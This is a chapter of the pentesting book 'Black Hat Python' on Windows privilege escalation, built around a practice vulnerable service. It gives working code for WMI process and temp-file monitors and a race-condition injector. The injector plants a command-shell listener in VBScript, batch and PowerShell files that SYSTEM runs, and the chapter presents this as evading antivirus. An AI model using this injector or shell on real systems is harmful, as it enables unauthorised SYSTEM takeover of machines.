Windows Privilege Escalation - Black Hat Python: Python Programming for Hackers and Pentesters (2014)

Black Hat Python: Python Programming for Hackers and Pentesters (2014)

Chapter 10. Windows Privilege Escalation

So you’ve popped a box inside a nice juicy Windows network. Maybe you leveraged a remote heap overflow, or you phished your way into the network. It’s time to start looking for ways to escalate privileges. If you’re already SYSTEM or Administrator, you probably want several ways of achieving those privileges in case a patch cycle kills your access. It can also be important to have a catalog of privilege escalations in your back pocket, as some enterprises run software that may be difficult to analyze in your own environment, and you may not run into that software until you’re in an enterprise of the same size or composition. In a typical privilege escalation, you’re going to exploit a poorly coded driver or native Windows kernel issue, but if you use a low-quality exploit or there’s a problem during exploitation, you run the risk of system instability. We’re going to explore some other means of acquiring elevated privileges on Windows.

System administrators in large enterprises commonly have scheduled tasks or services that will execute child processes or run VBScript or PowerShell scripts to automate tasks. Vendors, too, often have automated, built-in tasks that behave the same way. We’re going to try to take advantage of high-privilege processes handling files or executing binaries that are writable by low-privilege users. There are countless ways for you to try to escalate privileges on Windows, and we are only going to cover a few. However, when you understand these core concepts, you can expand your scripts to begin exploring other dark, musty corners of your Windows targets.

We’ll start by learning how to apply Windows WMI programming to create a flexible interface that monitors the creation of new processes. We harvest useful data such as the file paths, the user that created the process, and enabled privileges. Our process monitoring then hands off all file paths to a file-monitoring script that continuously keeps track of any new files created and what is written to them. This tells us which files are being accessed by high-privilege processes and the file’s location. The final step is to intercept the file-creation process so that we can inject scripting code and have the high-privilege process execute a command shell. The beauty of this whole process is that it doesn’t involve any API hooking, so we can fly under most antivirus software’s radar.

Installing the Prerequisites

We need to install a few libraries in order to write the tooling in this chapter. If you followed the initial instructions at the beginning of the book, you’ll have easy_install ready to rock. If not, refer to Chapter 1 for instructions on installing easy_install.

Execute the following in a cmd.exe shell on your Windows VM:

C:\> easy_install pywin32 wmi

If for some reason this installation method does not work for you, download the PyWin32 installer directly from http://sourceforge.net/projects/pywin32/.

Next, you’ll want to install the example service that my tech reviewers Dan Frisch and Cliff Janzen wrote for me. This service emulates a common set of vulnerabilities that we’ve uncovered in large enterprise networks and helps to illustrate the example code in this chapter.

1. Download the zip file from: http://www.nostarch.com/blackhatpython/bhpservice.zip.

2. Install the service using the provided batch script, install_service.bat. Make sure you are running as Administrator when doing so.
You should be good to go, so now let’s get on with the fun part!

Creating a Process Monitor

I participated in a project for Immunity called El Jefe, which is at its core a very simple process-monitoring system with centralized logging(http://eljefe.immunityinc.com/). The tool is designed to be used by people on the defense side of security to track process creation and the installation of malware. While consulting one day, my coworker Mark Wuergler suggested that we use El Jefe as a lightweight mechanism to monitor processes executed as SYSTEM on our target Windows machines. This would give us insight into potentially insecure file handling or child process creation. It worked, and we walked away with numerous privilege escalation bugs that gave us the keys to the kingdom.

The major drawback of the original El Jefe is that it used a DLL that was injected into every process to intercept calls to all forms of the native CreateProcess function. It then used a named pipe to communicate to the collection client, which then forwarded the details of the process creation to the logging server. The problem with this is that most antivirus software also hooks the CreateProcess calls, so either they view you as malware or you have system instability issues when El Jefe runs side-by-side with antivirus software. We’ll re-create some of El Jefe’s monitoring capabilities in a hookless manner, which also will be geared toward offensive techniques rather than monitoring. This should make our monitoring portable and give us the ability to run with antivirus software activated without issue.

Process Monitoring with WMI

The WMI API gives the programmer the ability to monitor the system for certain events, and then receive callbacks when those events occur. We’re going to leverage this interface to receive a callback every time a process is created. When a process gets created, we’re going to trap some valuable information for our purposes: the time the process was created, the user that spawned the process, the executable that was launched and its command-line arguments, the process ID, and the parent process ID. This will show us any processes that are created by higher-privilege accounts, and in particular, any processes that are calling external files such as VBScript or batch scripts. When we have all of this information, we’ll also determine what privileges are enabled on the process tokens. In certain rare cases, you’ll find processes that are created as a regular user but which have been granted additional Windows privileges that you can leverage.

Let’s begin by creating a very simple monitoring script[21] that provides the basic process information, and then build on that to determine the enabled privileges. Note that in order to capture information about high-privilege processes created by SYSTEM, for example, you’ll need to run your monitoring script as an Administrator. Let’s get started by adding the following code to process_monitor.py:

import win32con

import win32api

import win32security

import wmi

import sys

import os

def log_to_file(message):

fd = open("process_monitor_log.csv", "ab")

fd.write("%s\r\n" % message)

fd.close()

return

# create a log file header

log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")

# instantiate the WMI interface

➊ c = wmi.WMI()

# create our process monitor

➋ process_watcher = c.Win32_Process.watch_for("creation")

while True:

try:

➌ new_process = process_watcher()

➍ proc_owner = new_process.GetOwner()

proc_owner = "%s\\%s" % (proc_owner[0],proc_owner[2])

create_date = new_process.CreationDate

executable = new_process.ExecutablePath

cmdline = new_process.CommandLine

pid = new_process.ProcessId

parent_pid = new_process.ParentProcessId

privileges = "N/A"

process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n" % (create_date,

proc_owner, executable, cmdline, pid, parent_pid, privileges)

print process_log_message

log_to_file(process_log_message)

except:

pass

We start by instantiating the WMI class ➊ and then telling it to watch for the process creation event ➋. By reading the Python WMI documentation, we learn that you can monitor process creation or deletion events. If you decide that you’d like to closely monitor process events, you can use the operation and it will notify you of every single event a process goes through. We then enter a loop, and the loop blocks until process_watcher returns a new process event ➌. The new process event is a WMI class called Win32_Process[22] that contains all of the relevant information that we are after. One of the class functions is GetOwner, which we call ➍ to determine who spawned the process and from there we collect all of the process information we are looking for, output it to the screen, and log it to a file.

Kicking the Tires

Let’s fire up our process monitoring script and then create some processes to see what the output looks like.

C:\> python process_monitor.py

20130907115227.048683-300,JUSTIN-V2TRL6LD\Administrator,C:\WINDOWS\system32\

notepad.exe,"C:\WINDOWS\system32\notepad.exe" ,740,508,N/A

20130907115237.095300-300,JUSTIN-V2TRL6LD\Administrator,C:\WINDOWS\system32\

calc.exe,"C:\WINDOWS\system32\calc.exe" ,2920,508,N/A

After running the script, I ran notepad.exe and calc.exe. You can see the information being output correctly, and notice that both processes had the Parent PID set to 508, which is the process ID of explorer.exe in my VM. You could now take an extended break and let this script run for a day and see all of the processes, scheduled tasks, and various software updaters running. You might also spot malware if you’re (un)lucky. It’s also useful to log out and log back in to your target, as events generated from these actions could indicate privileged processes. Now that we have basic process monitoring in place, let’s fill out the privileges field in our logging and learn a little bit about how Windows privileges work and why they’re important.

Windows Token Privileges

A Windows token is, per Microsoft: “an object that describes the security context of a process or thread.”[23] How a token is initialized and which permissions and privileges are set on a token determine which tasks that process or thread can perform. A well-intentioned developer might have a system tray application as part of a security product, which they’d like to give the ability for a non-privileged user to control the main Windows service, which is a driver. The developer uses the native Windows API function AdjustTokenPrivileges on the process and innocently enough grants the system tray application the SeLoadDriver privilege. What the developer is not thinking about is the fact that if you can climb inside that system tray application, you too now have the ability to load or unload any driver you want, which means you can drop a kernel mode rootkit — and that means game over.

Bear in mind, if you can’t run your process monitor as SYSTEM or an administrative user, then you need to keep an eye on what processes you are able to monitor, and see if there are any additional privileges you can leverage. A process running as your user with the wrong privileges is a fantastic way to get to SYSTEM or run code in the kernel. Interesting privileges that I always look out for are listed in Table 10-1. It isn’t exhaustive, but serves as a good starting point.[24]

Table 10-1. Interesting Privileges

Privilege name

Access that is granted

SeBackupPrivilege

This enables the user process to back up files and directories, and grants READ access to files no matter what their ACL defines.

SeDebugPrivilege

This enables the user process to debug other processes. This also includes obtaining process handles to inject DLLs or code into running processes.

SeLoadDriver

This enables a user process to load or unload drivers.

Now that we have the fundamentals of what privileges are and which privileges to look for, let’s leverage Python to automatically retrieve the enabled privileges on the processes we’re monitoring. We’ll make use of the win32security, win32api, and win32con modules. If you encounter a situation where you can’t load these modules, all of the following functions can be translated into native calls using the ctypes library; it’s just a lot more work. Add the following code to process_monitor.py directly above our existing log_to_file function:

def get_process_privileges(pid):

try:

# obtain a handle to the target process

➊ hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_

INFORMATION,False,pid)

# open the main process token

➋ htok = win32security.OpenProcessToken(hproc,win32con.TOKEN_QUERY)

# retrieve the list of privileges enabled

➌ privs = win32security.GetTokenInformation(htok, win32security.

TokenPrivileges)

# iterate over privileges and output the ones that are enabled

priv_list = ""

for i in privs:

# check if the privilege is enabled

➍ if i[1] == 3:

➎ priv_list += "%s|" % win32security.

LookupPrivilegeName(None,i[0])

except:

priv_list = "N/A"

return priv_list

We use the process ID to obtain a handle to the target process ➊. Next, we crack open the process token ➋ and then request the token information for that process ➌. By sending the win32security.TokenPrivileges structure, we are instructing the API call to hand back all of the privilege information for that process. The function call returns a list of tuples, where the first member of the tuple is the privilege and the second member describes whether the privilege is enabled or not. Because we are only concerned with the privileges that are enabled, we first check for the enabled bits ➍ and then we look up the human-readable name for that privilege ➎.

Next we’ll modify our existing code so that we’re properly outputting and logging this information. Change the following line of code from this:

privileges = "N/A"

to the following:

privileges = get_process_privileges(pid)

Now that we have added our privilege tracking code, let’s rerun the process_monitor.py script and check the output. You should see privilege information as shown in the output below:

C:\> python.exe process_monitor.py

20130907233506.055054-300,JUSTIN-V2TRL6LD\Administrator,C:\WINDOWS\system32\

notepad.exe,"C:\WINDOWS\system32\notepad.exe" ,660,508,SeChangeNotifyPrivilege

|SeImpersonatePrivilege|SeCreateGlobalPrivilege|

20130907233515.914176-300,JUSTIN-V2TRL6LD\Administrator,C:\WINDOWS\system32\

calc.exe,"C:\WINDOWS\system32\calc.exe" ,1004,508,SeChangeNotifyPrivilege|

SeImpersonatePrivilege|SeCreateGlobalPrivilege|

You can see that we are correctly logging the enabled privileges for these processes. We could easily put some intelligence into the script to log only processes that run as an unprivileged user but have interesting privileges enabled. We will see how this use of process monitoring will let us find processes that are utilizing external files insecurely.

Winning the Race

Batch scripts, VBScript, and PowerShell scripts make system administrators’ lives easier by automating humdrum tasks. Their purpose can vary from continually registering to a central inventory service to forcing updates of software from their own repositories. One common problem is the lack of proper ACLs on these scripting files. In a number of cases, on otherwise secure servers, I’ve found batch scripts or PowerShell scripts that are run once a day by the SYSTEM user while being globally writable by any user.

If you run your process monitor long enough in an enterprise (or you simply install the example service provided in the beginning of this chapter), you might see process records that look like this:

20130907233515.914176-300,NT AUTHORITY\SYSTEM,C:\WINDOWS\system32\cscript.

exe, C:\WINDOWS\system32\cscript.exe /nologo "C:\WINDOWS\Temp\azndldsddfggg.

vbs",1004,4,SeChangeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobal

Privilege|

You can see that a SYSTEM process has spawned the cscript.exe binary and passed in the C:\WINDOWS\Temp\andldsddfggg.vbs parameter. The example service provided should generate these events once per minute. If you do a directory listing, you will not see this file present. What is happening is that the service is creating a random filename, pushing VBScript into the file, and then executing that VBScript. I’ve seen this action performed by commercial software in a number of cases, and I’ve seen software that copies files into a temporary location, execute, and then delete those files.

In order to exploit this condition, we have to effectively win a race against the executing code. When the software or scheduled task creates the file, we need to be able to inject our own code into the file before the process executes it and then ultimately deletes it. The trick to this is the handy Windows API called ReadDirectoryChangesW, which enables us to monitor a directory for any changes to files or subdirectories. We can also filter these events so that we’re able to determine when the file has been “saved” so we can quickly inject our code before it’s executed. It can be incredibly useful to simply keep an eye on all temporary directories for a period of 24 hours or longer, because sometimes you’ll find interesting bugs or information disclosures on top of potential privilege escalations.

Let’s begin by creating a file monitor, and then we’ll build on that to automatically inject code. Create a new file called file_monitor.py and hammer out the following:

# Modified example that is originally given here:

# http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.

html

import tempfile

import threading

import win32file

import win32con

import os

# these are the common temp file directories

➊ dirs_to_monitor = ["C:\\WINDOWS\\Temp",tempfile.gettempdir()]

# file modification constants

FILE_CREATED = 1

FILE_DELETED = 2

FILE_MODIFIED = 3

FILE_RENAMED_FROM = 4

FILE_RENAMED_TO = 5

def start_monitor(path_to_watch):

# we create a thread for each monitoring run

FILE_LIST_DIRECTORY = 0x0001

➋ h_directory = win32file.CreateFile(

path_to_watch,

FILE_LIST_DIRECTORY,

win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_

SHARE_DELETE,

None,

win32con.OPEN_EXISTING,

win32con.FILE_FLAG_BACKUP_SEMANTICS,

None)

while 1:

try:

➌ results = win32file.ReadDirectoryChangesW(

h_directory,

1024,

True,

win32con.FILE_NOTIFY_CHANGE_FILE_NAME |

win32con.FILE_NOTIFY_CHANGE_DIR_NAME |

win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |

win32con.FILE_NOTIFY_CHANGE_SIZE |

win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |

win32con.FILE_NOTIFY_CHANGE_SECURITY,

None,

None

)

➍ for action,file_name in results:

full_filename = os.path.join(path_to_watch, file_name)

if action == FILE_CREATED:

print "[ + ] Created %s" % full_filename

elif action == FILE_DELETED:

print "[ - ] Deleted %s" % full_filename

elif action == FILE_MODIFIED:

print "[ * ] Modified %s" % full_filename

# dump out the file contents

print "[vvv] Dumping contents..."

➎ try:

fd = open(full_filename,"rb")

contents = fd.read()

fd.close()

print contents

print "[^^^] Dump complete."

except:

print "[!!!] Failed."

elif action == FILE_RENAMED_FROM:

print "[ > ] Renamed from: %s" % full_filename

elif action == FILE_RENAMED_TO:

print "[ < ] Renamed to: %s" % full_filename

else:

print "[???] Unknown: %s" % full_filename

except:

pass

for path in dirs_to_monitor:

monitor_thread = threading.Thread(target=start_monitor,args=(path,))

print "Spawning monitoring thread for path: %s" % path

monitor_thread.start()

We define a list of directories that we’d like to monitor ➊, which in our case are the two common temporary files directories. Keep in mind that there could be other places you want to keep an eye on, so edit this list as you see fit. For each of these paths, we’ll create a monitoring thread that calls the start_monitor function. The first task of this function is to acquire a handle to the directory we wish to monitor ➋. We then call the ReadDirectoryChangesW function ➌, which notifies us when a change occurs. We receive the filename of the target file that changed and the type of event that happened ➍. From here we print out useful information about what happened with that particular file, and if we detect that it’s been modified, we dump out the contents of the file for reference ➎.

Kicking the Tires

Open a cmd.exe shell and run file_monitor.py:

C:\> python.exe file_monitor.py

Open a second cmd.exe shell and execute the following commands:

C:\> cd %temp%

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp> echo hello > filetest

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp> rename filetest file2test

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp> del file2test

You should see output that looks like the following:

Spawning monitoring thread for path: C:\WINDOWS\Temp

Spawning monitoring thread for path: c:\docume~1\admini~1\locals~1\temp

[ + ] Created c:\docume~1\admini~1\locals~1\temp\filetest

[ * ] Modified c:\docume~1\admini~1\locals~1\temp\filetest

[vvv] Dumping contents...

hello

[^^^] Dump complete.

[ > ] Renamed from: c:\docume~1\admini~1\locals~1\temp\filetest

[ < ] Renamed to: c:\docume~1\admini~1\locals~1\temp\file2test

[ * ] Modified c:\docume~1\admini~1\locals~1\temp\file2test

[vvv] Dumping contents...

hello

[^^^] Dump complete.

[ - ] Deleted c:\docume~1\admini~1\locals~1\temp\FILE2T~1

If all of the above has worked as planned, I encourage you to keep your file monitor running for 24 hours on a target system. You may be surprised (or not) to see files being created, executed, and deleted. You can also use your process-monitoring script to try to find interesting file paths to monitor as well. Software updates could be of particular interest. Let’s move on and add the ability to automatically inject code into a target file.

Code Injection

Now that we can monitor processes and file locations, let’s take a look at being able to automatically inject code into target files. The most common scripting languages I’ve seen employed are VBScript, batch files, and PowerShell. We’ll create very simple code snippets that spawn a compiled version of our bhpnet.py tool with the privilege level of the originating service. There are a vast array of nasty things you can do with these scripting languages;[25] we’ll create the general framework to do so, and you can run wild from there. Let’s modify our file_monitor.py script and add the following code after the file modification constants:

➊ file_types = {}

command = "C:\\WINDOWS\\TEMP\\bhpnet.exe -l -p 9999 -c"

file_types['.vbs'] =

["\r\n'bhpmarker\r\n","\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n" %

command]

file_types['.bat'] = ["\r\nREM bhpmarker\r\n","\r\n%s\r\n" % command]

file_types['.ps1'] = ["\r\n#bhpmarker","Start-Process \"%s\"\r\n" % command]

# function to handle the code injection

def inject_code(full_filename,extension,contents):

# is our marker already in the file?

➋ if file_types[extension][0] in contents:

return

# no marker; let's inject the marker and code

full_contents = file_types[extension][0]

full_contents += file_types[extension][1]

full_contents += contents

➌ fd = open(full_filename,"wb")

fd.write(full_contents)

fd.close()

print "[\o/] Injected code."

return

We start by defining a dictionary of code snippets that match a particular file extension ➊ that includes a unique marker and the code we want to inject. The reason we use a marker is because we can get into an infinite loop whereby we see a file modification, we insert our code (which causes a subsequent file modification event), and so forth. This continues until the file gets gigantic and the hard drive begins to cry. The next piece of code is our inject_code function that handles the actual code injection and file marker checking. After we verify that the marker doesn’t exist ➋, we write out the marker and the code we want the target process to run ➌. Now we need to modify our main event loop to include our file extension check and the call to inject_code.

--snip--

elif action == FILE_MODIFIED:

print "[ * ] Modified %s" % full_filename

# dump out the file contents

print "[vvv] Dumping contents..."

try:

fd = open(full_filename,"rb")

contents = fd.read()

fd.close()

print contents

print "[^^^] Dump complete."

except:

print "[!!!] Failed."

#### NEW CODE STARTS HERE

➊ filename,extension = os.path.splitext(full_filename)

➋ if extension in file_types:

inject_code(full_filename,extension,contents)

#### END OF NEW CODE

--snip--

This is a pretty straightforward addition to our primary loop. We do a quick split of the file extension ➊ and then check it against our dictionary of known file types ➋. If the file extension is detected in our dictionary, we call our inject_code function. Let’s take it for a spin.

Kicking the Tires

If you installed the example vulnerable service at the beginning of this chapter, you can easily test your fancy new code injector. Make sure that the service is running, and simply execute your file_monitor.py script. Eventually, you should see output indicating that a .vbs file has been created and modified and that code has been injected. If all went well, you should be able to run the bhpnet.py script from Chapter 2 to connect the listener you just spawned. To make sure your privilege escalation worked, connect to the listener and check which user you are running as.

justin$ ./bhpnet.py -t 192.168.1.10 -p 9999

<CTRL-D>

<BHP:#> whoami

NT AUTHORITY\SYSTEM

<BHP:#>

This will indicate that you have achieved the holy SYSTEM account and that your code injection worked.

You may have reached the end of this chapter thinking that some of these attacks are a bit esoteric. But the more time you spend inside a large enterprise, the more you’ll realize that these are quite viable attacks. The tooling in this chapter can all be easily expanded upon or turned into one-off specialty scripts that you can use in specific cases to compromise a local account or application. WMI alone can be an excellent source of local recon data that you can use to further an attack once you are inside a network. Privilege escalation is an essential piece to any good trojan.

[21] This code was adapted from the Python WMI page (http://timgolden.me.uk/python/wmi/tutorial.html).

[22] Win32_Process class documentation: http://msdn.microsoft.com/en-us/library/aa394372(v=vs.85).aspx

[23] MSDN – Access Tokens: http://msdn.microsoft.com/en-us/library/Aa374909.aspx

[24] For the full list of privileges, visit http://msdn.microsoft.com/en-us/library/windows/desktop/bb530716(v=vs.85).aspx.

[25] Carlos Perez does some amazing work with PowerShell; see http://www.darkoperator.com/.